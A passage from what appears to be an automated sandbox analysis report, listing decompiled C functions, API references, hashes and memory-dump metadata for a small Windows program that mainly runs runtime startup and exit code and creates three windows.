Associated: 00000001.00000002.235648394.0000000000432000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 72f6d6f1f050c77ae7ee64dd41a1e530604b6a24df1a72be7b22ffe61d478a9c
Instruction ID: e5a30f5239c2db563c5fdb4ef5b9df934caef4d6f0165e5659f7cbc3a2470ada
Opcode Fuzzy Hash: 72f6d6f1f050c77ae7ee64dd41a1e530604b6a24df1a72be7b22ffe61d478a9c
Instruction Fuzzy Hash: 1831D6B4901219ABCB21DF65DD88BCDBBB4BF08315F5041EAE50CB7290E7749B858F48

Uniqueness

Uniqueness Score: -1.00%

Function 0040349E, Relevance: 4.5, APIs: 3, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040349E(int _a4) {
				void* _t14;

				if(E0040572D(_t14) != 1 && ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) == 0) {
					TerminateProcess(GetCurrentProcess(), _a4);
				}
				E00403523(_t14, _a4);
				ExitProcess(_a4);
			}

0x004034ab
0x004034c7
0x004034c7
0x004034d0
0x004034d9

APIs

GetCurrentProcess.KERNEL32(?,?,0040349D,?,?,?,?,?,0040898A), ref: 004034C0
TerminateProcess.KERNEL32(00000000,?,0040349D,?,?,?,?,?,0040898A), ref: 004034C7
ExitProcess.KERNEL32 ref: 004034D9

Memory Dump Source

Source File: 00000001.00000002.235437989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.235430631.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235480276.000000000040D000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235495300.0000000000413000.00000040.00020000.sdmp Download File
Associated: 00000001.00000002.235501210.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.235512926.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235534442.000000000041A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235563705.0000000000427000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235599994.0000000000429000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235648394.0000000000432000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 1edc2edca61eeaba8b3cbc79da4c10876d7af9ec2e9eabc02bae985bc9b71383
Instruction ID: dca0f6995259cbb3624e6a1529dfe4825e59a6863be54afee728867455d59829
Opcode Fuzzy Hash: 1edc2edca61eeaba8b3cbc79da4c10876d7af9ec2e9eabc02bae985bc9b71383
Instruction Fuzzy Hash: 3CE0BF71810504ABCF126F55DE09D493F69EB41756F004435F509AA272CB3DDE46DA49

Uniqueness

Uniqueness Score: -1.00%

Function 0040A90D, Relevance: 1.8, APIs: 1, Instructions: 274
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0040A90D(long _a4, signed int* _a8, signed char _a12, signed int _a16, intOrPtr* _a20, unsigned int* _a24, intOrPtr _a28) {
				signed int _t172;
				signed int _t175;
				signed int _t178;
				signed int* _t179;
				signed char _t193;
				signed int _t196;
				signed int _t200;
				signed int _t203;
				void* _t204;
				void* _t207;
				signed int _t210;
				void* _t211;
				signed int _t226;
				unsigned int* _t241;
				signed char _t243;
				signed int* _t251;
				unsigned int* _t257;
				signed int* _t258;
				signed char _t260;
				long _t263;
				signed int* _t266;

				 *(_a4 + 4) = 0;
				_t263 = 0xc000000d;
				 *(_a4 + 8) = 0;
				 *(_a4 + 0xc) = 0;
				_t243 = _a12;
				if((_t243 & 0x00000010) != 0) {
					_t263 = 0xc000008f;
					 *(_a4 + 4) =  *(_a4 + 4) | 1;
				}
				if((_t243 & 0x00000002) != 0) {
					_t263 = 0xc0000093;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000002;
				}
				if((_t243 & 0x00000001) != 0) {
					_t263 = 0xc0000091;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000004;
				}
				if((_t243 & 0x00000004) != 0) {
					_t263 = 0xc000008e;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
				}
				if((_t243 & 0x00000008) != 0) {
					_t263 = 0xc0000090;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000010;
				}
				_t266 = _a8;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 << 4) ^  *(_a4 + 8)) & 0x00000010;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 +  *_t266) ^  *(_a4 + 8)) & 0x00000008;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 >> 1) ^  *(_a4 + 8)) & 0x00000004;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 >> 3) ^  *(_a4 + 8)) & 0x00000002;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 >> 5) ^  *(_a4 + 8)) & 1;
				_t260 = E00408D24(_a4);
				if((_t260 & 0x00000001) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000010;
				}
				if((_t260 & 0x00000004) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000008;
				}
				if((_t260 & 0x00000008) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000004;
				}
				if((_t260 & 0x00000010) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000002;
				}
				if((_t260 & 0x00000020) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 1;
				}
				_t172 =  *_t266 & 0x00000c00;
				if(_t172 == 0) {
					 *_a4 =  *_a4 & 0xfffffffc;
				} else {
					if(_t172 == 0x400) {
						_t258 = _a4;
						_t226 =  *_t258 & 0xfffffffd | 1;
						L26:
						 *_t258 = _t226;
						L29:
						_t175 =  *_t266 & 0x00000300;
						if(_t175 == 0) {
							_t251 = _a4;
							_t178 =  *_t251 & 0xffffffeb | 0x00000008;
							L35:
							 *_t251 = _t178;
							L36:
							_t179 = _a4;
							_t255 = (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *_t179 =  *_t179 ^ (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *(_a4 + 0x20) =  *(_a4 + 0x20) | 1;
							if(_a28 == 0) {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe3 | 0x00000002;
								 *((long long*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t255 = _a4;
								_t241 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe3 | 0x00000002;
								 *(_a4 + 0x50) =  *_t241;
							} else {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe1;
								 *((intOrPtr*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t241 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe1;
								 *(_a4 + 0x50) =  *_t241;
							}
							E00408C90(_t255);
							RaiseException(_t263, 0, 1,  &_a4);
							_t257 = _a4;
							_t193 = _t257[2];
							if((_t193 & 0x00000010) != 0) {
								 *_t266 =  *_t266 & 0xfffffffe;
								_t193 = _t257[2];
							}
							if((_t193 & 0x00000008) != 0) {
								 *_t266 =  *_t266 & 0xfffffffb;
								_t193 = _t257[2];
							}
							if((_t193 & 0x00000004) != 0) {
								 *_t266 =  *_t266 & 0xfffffff7;
								_t193 = _t257[2];
							}
							if((_t193 & 0x00000002) != 0) {
								 *_t266 =  *_t266 & 0xffffffef;
								_t193 = _t257[2];
							}
							if((_t193 & 0x00000001) != 0) {
								 *_t266 =  *_t266 & 0xffffffdf;
							}
							_t196 =  *_t257 & 0x00000003;
							if(_t196 == 0) {
								 *_t266 =  *_t266 & 0xfffff3ff;
							} else {
								_t207 = _t196 - 1;
								if(_t207 == 0) {
									_t210 =  *_t266 & 0xfffff7ff | 0x00000400;
									L55:
									 *_t266 = _t210;
									L58:
									_t200 =  *_t257 >> 0x00000002 & 0x00000007;
									if(_t200 == 0) {
										_t203 =  *_t266 & 0xfffff3ff | 0x00000300;
										L64:
										 *_t266 = _t203;
										L65:
										if(_a28 == 0) {
											 *_t241 = _t257[0x14];
										} else {
											 *_t241 = _t257[0x14];
										}
										return _t203;
									}
									_t204 = _t200 - 1;
									if(_t204 == 0) {
										_t203 =  *_t266 & 0xfffff3ff | 0x00000200;
										goto L64;
									}
									_t203 = _t204 - 1;
									if(_t203 == 0) {
										 *_t266 =  *_t266 & 0xfffff3ff;
									}
									goto L65;
								}
								_t211 = _t207 - 1;
								if(_t211 == 0) {
									_t210 =  *_t266 & 0xfffffbff | 0x00000800;
									goto L55;
								}
								if(_t211 == 1) {
									 *_t266 =  *_t266 | 0x00000c00;
								}
							}
							goto L58;
						}
						if(_t175 == 0x200) {
							_t251 = _a4;
							_t178 =  *_t251 & 0xffffffe7 | 0x00000004;
							goto L35;
						}
						if(_t175 == 0x300) {
							 *_a4 =  *_a4 & 0xffffffe3;
						}
						goto L36;
					}
					if(_t172 == 0x800) {
						_t258 = _a4;
						_t226 =  *_t258 & 0xfffffffe | 0x00000002;
						goto L26;
					}
					if(_t172 == 0xc00) {
						 *_a4 =  *_a4 | 0x00000003;
					}
				}
			}

0x0040a91b
0x0040a922
0x0040a927
0x0040a92d
0x0040a930
0x0040a936
0x0040a93b
0x0040a940
0x0040a940
0x0040a946
0x0040a94b
0x0040a950
0x0040a950
0x0040a957
0x0040a95c
0x0040a961
0x0040a961
0x0040a968
0x0040a96d
0x0040a972
0x0040a972
0x0040a979
0x0040a97e
0x0040a983
0x0040a983
0x0040a98b
0x0040a99b
0x0040a9ad
0x0040a9bf
0x0040a9d2
0x0040a9e4
0x0040a9ec
0x0040a9f1
0x0040a9f6
0x0040a9f6
0x0040a9fd
0x0040aa02
0x0040aa02
0x0040aa09
0x0040aa0e
0x0040aa0e
0x0040aa15
0x0040aa1a
0x0040aa1a
0x0040aa21
0x0040aa26
0x0040aa26
0x0040aa30
0x0040aa32
0x0040aa6c
0x0040aa34
0x0040aa39
0x0040aa5d
0x0040aa65
0x0040aa59
0x0040aa59
0x0040aa6f
0x0040aa76
0x0040aa78
0x0040aa9a
0x0040aaa2
0x0040aaa5
0x0040aaa5
0x0040aaa7
0x0040aaa7
0x0040aab2
0x0040aab8
0x0040aabd
0x0040aac4
0x0040aafe
0x0040ab09
0x0040ab0f
0x0040ab12
0x0040ab15
0x0040ab21
0x0040ab29
0x0040aac6
0x0040aac9
0x0040aad5
0x0040aadb
0x0040aae1
0x0040aae4
0x0040aaed
0x0040aaed
0x0040ab2c
0x0040ab3a
0x0040ab40
0x0040ab43
0x0040ab48
0x0040ab4a
0x0040ab4d
0x0040ab4d
0x0040ab52
0x0040ab54
0x0040ab57
0x0040ab57
0x0040ab5c
0x0040ab5e
0x0040ab61
0x0040ab61
0x0040ab66
0x0040ab68
0x0040ab6b
0x0040ab6b
0x0040ab70
0x0040ab72
0x0040ab72
0x0040ab7f
0x0040ab82
0x0040abb9
0x0040ab84
0x0040ab84
0x0040ab87
0x0040abb2
0x0040aba7
0x0040aba7
0x0040abbb
0x0040abc3
0x0040abc6
0x0040abe5
0x0040abea
0x0040abea
0x0040abec
0x0040abf1
0x0040abfd
0x0040abf3
0x0040abf6
0x0040abf6
0x0040ac02
0x0040ac02
0x0040abc8
0x0040abcb
0x0040abda
0x00000000
0x0040abda
0x0040abcd
0x0040abd0
0x0040abd2
0x0040abd2
0x00000000
0x0040abd0
0x0040ab89
0x0040ab8c
0x0040aba2
0x00000000
0x0040aba2
0x0040ab91
0x0040ab93
0x0040ab93
0x0040ab91
0x00000000
0x0040ab82
0x0040aa7f
0x0040aa8d
0x0040aa95
0x00000000
0x0040aa95
0x0040aa83
0x0040aa88
0x0040aa88
0x00000000
0x0040aa83
0x0040aa40
0x0040aa4e
0x0040aa56
0x00000000
0x0040aa56
0x0040aa44
0x0040aa49
0x0040aa49
0x0040aa44

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,0040A908,?,?,00000008,?,?,0040A5A0,00000000), ref: 0040AB3A

Memory Dump Source

Source File: 00000001.00000002.235437989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.235430631.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235480276.000000000040D000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235495300.0000000000413000.00000040.00020000.sdmp Download File
Associated: 00000001.00000002.235501210.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.235512926.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235534442.000000000041A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235563705.0000000000427000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235599994.0000000000429000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235648394.0000000000432000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 1e818f22d8e327f9e8e42e1037e6c0b8f207f37c1edbae6167aa0afa01c1fbaf
Instruction ID: 2974e41d21921c5721940d48aa7d7ca1519c33df816aaeed4183d54d5457e949
Opcode Fuzzy Hash: 1e818f22d8e327f9e8e42e1037e6c0b8f207f37c1edbae6167aa0afa01c1fbaf
Instruction Fuzzy Hash: 53B159312106048FD714CF28C486B657BA1FF45364F298669E99ADF3E1C339E9A2CF45

Uniqueness

Uniqueness Score: -1.00%

Function 004049F7, Relevance: 1.6, APIs: 1, Instructions: 108
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E004049F7(void* __ecx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				signed int _v12;
				signed int* _v28;
				signed int _v32;
				WCHAR* _v36;
				signed int _v48;
				intOrPtr _v556;
				intOrPtr _v558;
				struct _WIN32_FIND_DATAW _v604;
				char _v605;
				signed int* _v612;
				signed int _v616;
				signed int _v620;
				signed int* _v648;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t42;
				void* _t47;
				signed int _t50;
				signed char _t52;
				signed int* _t58;
				union _FINDEX_INFO_LEVELS _t60;
				int _t65;
				void* _t80;
				void* _t82;
				void* _t86;
				WCHAR* _t87;
				void* _t88;
				void* _t89;
				intOrPtr* _t92;
				intOrPtr _t95;
				signed int* _t98;
				void* _t103;
				void* _t111;
				signed int _t116;
				union _FINDEX_INFO_LEVELS _t117;
				void* _t118;
				intOrPtr _t120;
				void* _t123;
				void* _t125;
				void* _t126;
				void* _t130;
				signed int _t131;
				void* _t132;

				_push(__ecx);
				_t92 = _a4;
				_t2 = _t92 + 2; // 0x2
				_t111 = _t2;
				do {
					_t42 =  *_t92;
					_t92 = _t92 + 2;
				} while (_t42 != 0);
				_t116 = _a12;
				_t95 = (_t92 - _t111 >> 1) + 1;
				_v8 = _t95;
				if(_t95 <=  !_t116) {
					_t5 = _t116 + 1; // 0x1
					_t86 = _t5 + _t95;
					_t123 = E00403D91(_t86, 2);
					if(_t116 == 0) {
						L7:
						_push(_v8);
						_t86 = _t86 - _t116;
						_t47 = E00404720(_t123 + _t116 * 2, _t86, _a4);
						_t131 = _t130 + 0x10;
						if(_t47 != 0) {
							goto L12;
						} else {
							_t120 = _a16;
							_t89 = E00404C41(_t120);
							if(_t89 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)(_t120 + 4)))) = _t123;
								 *((intOrPtr*)(_t120 + 4)) =  *((intOrPtr*)(_t120 + 4)) + 4;
								_t89 = 0;
							} else {
								E00403CC5(_t123);
							}
							E00403CC5(0);
							_t80 = _t89;
							goto L4;
						}
					} else {
						_push(_t116);
						_t82 = E00404720(_t123, _t86, _a8);
						_t131 = _t130 + 0x10;
						if(_t82 != 0) {
							L12:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E004045BD();
							asm("int3");
							_t129 = _t131;
							_t132 = _t131 - 0x264;
							_t50 =  *0x4135b4; // 0x41a50e76
							_v48 = _t50 ^ _t131;
							_t112 = _v32;
							_t98 = _v28;
							_push(_t86);
							_t87 = _v36;
							_v648 = _t98;
							_push(_t123);
							_push(_t116);
							if(_t112 != _t87) {
								while(E00404C1D( *_t112 & 0x0000ffff) == 0) {
									_t112 = _t112 - 2;
									if(_t112 != _t87) {
										continue;
									}
									break;
								}
								_t98 = _v612;
							}
							_t124 =  *_t112 & 0x0000ffff;
							if(( *_t112 & 0x0000ffff) != 0x3a || _t112 ==  &(_t87[1])) {
								_t52 = E00404C1D(_t124);
								_t112 = (_t112 - _t87 >> 1) + 1;
								asm("sbb eax, eax");
								_t117 = 0;
								_v616 =  ~(_t52 & 0x000000ff) & _t112;
								_t125 = FindFirstFileExW(_t87, 0,  &_v604, 0, 0, 0);
								_t58 = _v612;
								if(_t125 != 0xffffffff) {
									_v620 = _t58[1] -  *_t58 >> 2;
									_t103 = 0x2e;
									do {
										if(_v604.cFileName != _t103 || _v558 != _t117 && (_v558 != _t103 || _v556 != _t117)) {
											_push(_t58);
											_t60 = E004049F7(_t103,  &(_v604.cFileName), _t87, _v616);
											_t132 = _t132 + 0x10;
											if(_t60 != 0) {
												_t117 = _t60;
											} else {
												goto L28;
											}
										} else {
											goto L28;
										}
										L32:
										FindClose(_t125);
										goto L33;
										L28:
										_t65 = FindNextFileW(_t125,  &_v604);
										_t58 = _v612;
										_t103 = 0x2e;
									} while (_t65 != 0);
									_t112 =  *_t58;
									_t106 = _v620;
									_t68 = _t58[1] -  *_t58 >> 2;
									if(_v620 != _t58[1] -  *_t58 >> 2) {
										E00407690(_t112, _t112 + _t106 * 4, _t68 - _t106, 4, E004047B7);
									}
									goto L32;
								} else {
									_push(_t58);
									_t117 = E004049F7( &_v605, _t87, 0, 0);
								}
								L33:
							} else {
								_push(_t98);
								E004049F7(_t98, _t87, 0, 0);
							}
							_pop(_t118);
							_pop(_t126);
							_pop(_t88);
							return E00401647(_t88, _v12 ^ _t129, _t112, _t118, _t126);
						} else {
							goto L7;
						}
					}
				} else {
					_t80 = 0xc;
					L4:
					return _t80;
				}
			}

0x004049fc
0x004049fd
0x00404a04
0x00404a04
0x00404a07
0x00404a07
0x00404a0a
0x00404a0d
0x00404a12
0x00404a1b
0x00404a1e
0x00404a23
0x00404a2d
0x00404a30
0x00404a3a
0x00404a40
0x00404a54
0x00404a54
0x00404a57
0x00404a61
0x00404a66
0x00404a6b
0x00000000
0x00404a6d
0x00404a6d
0x00404a77
0x00404a7b
0x00404a89
0x00404a8b
0x00404a8f
0x00404a7d
0x00404a7e
0x00404a83
0x00404a93
0x00404a99
0x00000000
0x00404a9b
0x00404a42
0x00404a42
0x00404a48
0x00404a4d
0x00404a52
0x00404a9e
0x00404aa0
0x00404aa1
0x00404aa2
0x00404aa3
0x00404aa4
0x00404aa5
0x00404aaa
0x00404aae
0x00404ab0
0x00404ab6
0x00404abd
0x00404ac0
0x00404ac3
0x00404ac6
0x00404ac7
0x00404aca
0x00404ad0
0x00404ad1
0x00404ad4
0x00404ad6
0x00404ae9
0x00404aee
0x00000000
0x00000000
0x00000000
0x00404aee
0x00404af0
0x00404af0
0x00404af6
0x00404afc
0x00404b1f
0x00404b2b
0x00404b2e
0x00404b30
0x00404b37
0x00404b4c
0x00404b4e
0x00404b57
0x00404b76
0x00404b7c
0x00404b7d
0x00404b84
0x00404ba1
0x00404bb0
0x00404bb5
0x00404bba
0x00404c03
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00404c05
0x00404c06
0x00000000
0x00404bbc
0x00404bc4
0x00404bce
0x00404bd4
0x00404bd4
0x00404bd7
0x00404bdc
0x00404be4
0x00404be9
0x00404bf9
0x00404bfe
0x00000000
0x00404b59
0x00404b59
0x00404b65
0x00404b65
0x00404c0c
0x00404b05
0x00404b05
0x00404b0b
0x00404b10
0x00404c11
0x00404c12
0x00404c15
0x00404c1c
0x00000000
0x00000000
0x00000000
0x00404a52
0x00404a25
0x00404a27
0x00404a28
0x00404a2b
0x00404a2b

Memory Dump Source

Source File: 00000001.00000002.235437989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.235430631.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235480276.000000000040D000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235495300.0000000000413000.00000040.00020000.sdmp Download File
Associated: 00000001.00000002.235501210.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.235512926.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235534442.000000000041A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235563705.0000000000427000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235599994.0000000000429000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235648394.0000000000432000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b31f68fd25a4b8163416b1a9b068201e448620456ed2cfb9505a9977147b5dd
Instruction ID: f4b5c4eda866617da70940d6c21f9a7eb415a6ca40bb721b50d643e80bcdcd91
Opcode Fuzzy Hash: 2b31f68fd25a4b8163416b1a9b068201e448620456ed2cfb9505a9977147b5dd
Instruction Fuzzy Hash: 2C31C8B29002196FCB24DFA9CC85DAB77B9EBC4314F14416DFA05A3281EA34AE448A58

Uniqueness

Uniqueness Score: -1.00%

Function 00406849, Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406849() {
				signed int _t3;

				_t3 = GetProcessHeap();
				 *0x414908 = _t3;
				return _t3 & 0xffffff00 | _t3 != 0x00000000;
			}

0x00406849
0x00406851
0x00406859

APIs

GetProcessHeap.KERNEL32 ref: 00406849

Memory Dump Source

Source File: 00000001.00000002.235437989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.235430631.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235480276.000000000040D000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235495300.0000000000413000.00000040.00020000.sdmp Download File
Associated: 00000001.00000002.235501210.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.235512926.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235534442.000000000041A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235563705.0000000000427000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235599994.0000000000429000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235648394.0000000000432000.00000002.00020000.sdmp Download File

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: e73029362bdc569765efd4c293c9f4491d0e9b842193d41af9a1f46f78af012f
Instruction ID: 066f4d4dab4756bfcdf285387863a06b630db39f701e509c0e617effbe37adec
Opcode Fuzzy Hash: e73029362bdc569765efd4c293c9f4491d0e9b842193d41af9a1f46f78af012f
Instruction Fuzzy Hash: 10A011B0A02200CBA3008F32AA0820E3AA8AA88280B02C038A008CA220EA3080808A08

Uniqueness

Uniqueness Score: -1.00%

Function 0040572D, Relevance: .0, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040572D(void* __ecx) {
				char _v8;
				intOrPtr _t7;
				char _t13;

				_t13 = 0;
				_v8 = 0;
				_t7 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
				_t16 =  *((intOrPtr*)(_t7 + 8));
				if( *((intOrPtr*)(_t7 + 8)) < 0) {
					L2:
					_t13 = 1;
				} else {
					E00406563(_t16,  &_v8);
					if(_v8 != 1) {
						goto L2;
					}
				}
				return _t13;
			}

0x0040573a
0x0040573c
0x0040573f
0x00405742
0x00405745
0x00405756
0x00405758
0x00405747
0x0040574b
0x00405754
0x00000000
0x00000000
0x00405754
0x0040575d

Memory Dump Source

Source File: 00000001.00000002.235437989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.235430631.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235480276.000000000040D000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235495300.0000000000413000.00000040.00020000.sdmp Download File
Associated: 00000001.00000002.235501210.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.235512926.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235534442.000000000041A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235563705.0000000000427000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235599994.0000000000429000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235648394.0000000000432000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1309330b26bbd4996c8968a0efc670034eac60ab60495bc0805cbd69c1388f86
Instruction ID: fabe5f97266190ef899be3aa9a1cb80d9dbc1fcfa3383dd0af7dc72881916f6a
Opcode Fuzzy Hash: 1309330b26bbd4996c8968a0efc670034eac60ab60495bc0805cbd69c1388f86
Instruction Fuzzy Hash: CCE08C72911228EBCB14EB99D94498AF3ECEB44B44F1140ABB501E3280C2B4EE00DBD4

Uniqueness

Uniqueness Score: -1.00%

Function 00401180, Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401180(struct HINSTANCE__* _a4, int _a8) {
				int _v8;
				int _v12;
				int _v16;
				int _v20;
				struct HWND__* _v24;
				struct HWND__* _v28;
				struct HWND__* _v32;

				 *0x414b08 = _a4;
				_v20 = 0x30;
				_v16 = 0x3c;
				_v12 = 0x320;
				_v8 = 0x2bc;
				_v24 = CreateWindowExW(0, "PR1", "pr1", 0xcf0000, _v20, _v16, _v12, _v8, 0, 0, _a4, 0);
				if(_v24 != 0) {
					ShowWindow(_v24, _a8);
					UpdateWindow(_v24);
					_v12 = 0x190;
					_v8 = 0x12c;
					_v20 = 0x181;
					_v16 = 0x154;
					_v28 = CreateWindowExW(0, L"ChildWindow1", L"ChildWindow1", 0x40cf0000, _v20, _v16, _v12, _v8, _v24, 0, _a4, 0);
					if(_v28 != 0) {
						ShowWindow(_v28, _a8);
						UpdateWindow(_v28);
						_v12 = 0xc8;
						_v8 = 0x96;
						_v20 = 0x64;
						_v16 = 0x4b;
						_v32 = CreateWindowExW(0, L"ChildWindow2", L"ChildWindow2", 0x40cf0000, _v20, _v16, _v12, _v8, _v28, 0, _a4, 0);
						if(_v32 != 0) {
							ShowWindow(_v32, _a8);
							UpdateWindow(_v32);
							return 1;
						}
						return 0;
					}
					return 0;
				}
				return 0;
			}

0x00401189
0x0040118e
0x00401195
0x0040119c
0x004011a3
0x004011db
0x004011e2
0x004011f3
0x004011fd
0x00401203
0x0040120a
0x00401211
0x00401218
0x00401252
0x00401259
0x0040126a
0x00401274
0x0040127a
0x00401281
0x00401288
0x0040128f
0x004012c9
0x004012d0
0x004012de
0x004012e8
0x00000000
0x004012ee
0x00000000
0x004012d2
0x00000000
0x0040125b
0x00000000

APIs

CreateWindowExW.USER32 ref: 004011D5
ShowWindow.USER32(00000000,0000003C), ref: 004011F3
UpdateWindow.USER32(00000000), ref: 004011FD
CreateWindowExW.USER32 ref: 0040124C

Strings

d, xrefs: 00401288
K, xrefs: 0040128F
ChildWindow1, xrefs: 00401245
ChildWindow2, xrefs: 004012BC
PR1, xrefs: 004011CE
ChildWindow1, xrefs: 00401240
pr1, xrefs: 004011C9
ChildWindow2, xrefs: 004012B7

Memory Dump Source

Source File: 00000001.00000002.235437989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.235430631.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235480276.000000000040D000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235495300.0000000000413000.00000040.00020000.sdmp Download File
Associated: 00000001.00000002.235501210.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.235512926.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235534442.000000000041A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235563705.0000000000427000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235599994.0000000000429000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235648394.0000000000432000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Create$ShowUpdate
String ID: ChildWindow1$ChildWindow1$ChildWindow2$ChildWindow2$K$PR1$d$pr1
API String ID: 3923951406-1025919760
Opcode ID: 5eedd82f3da7e3e95f983b6c1cb407c3dcdcc016fca9624c7874ee63fa457cb7
Instruction ID: 8cff015a5cb70aba805f12d46ed691fa912a991c461c3840cfaa7152b34e2e7a
Opcode Fuzzy Hash: 5eedd82f3da7e3e95f983b6c1cb407c3dcdcc016fca9624c7874ee63fa457cb7
Instruction Fuzzy Hash: 2441A8B5A44209FFDB00CFD4DD45FAFBBB4AB48705F208558F605BB280C7B55A458B98

Uniqueness

Uniqueness Score: -1.00%

Function 00401300, Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 76
registrywindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401300(struct HINSTANCE__* _a4) {
				signed int _v8;
				struct _WNDCLASSEXW _v56;
				void* __ebp;
				signed int _t38;
				void* _t56;
				void* _t65;
				void* _t66;
				signed int _t67;

				_t38 =  *0x4135b4; // 0x41a50e76
				_v8 = _t38 ^ _t67;
				_v56.cbSize = 0x30;
				_v56.style = 3;
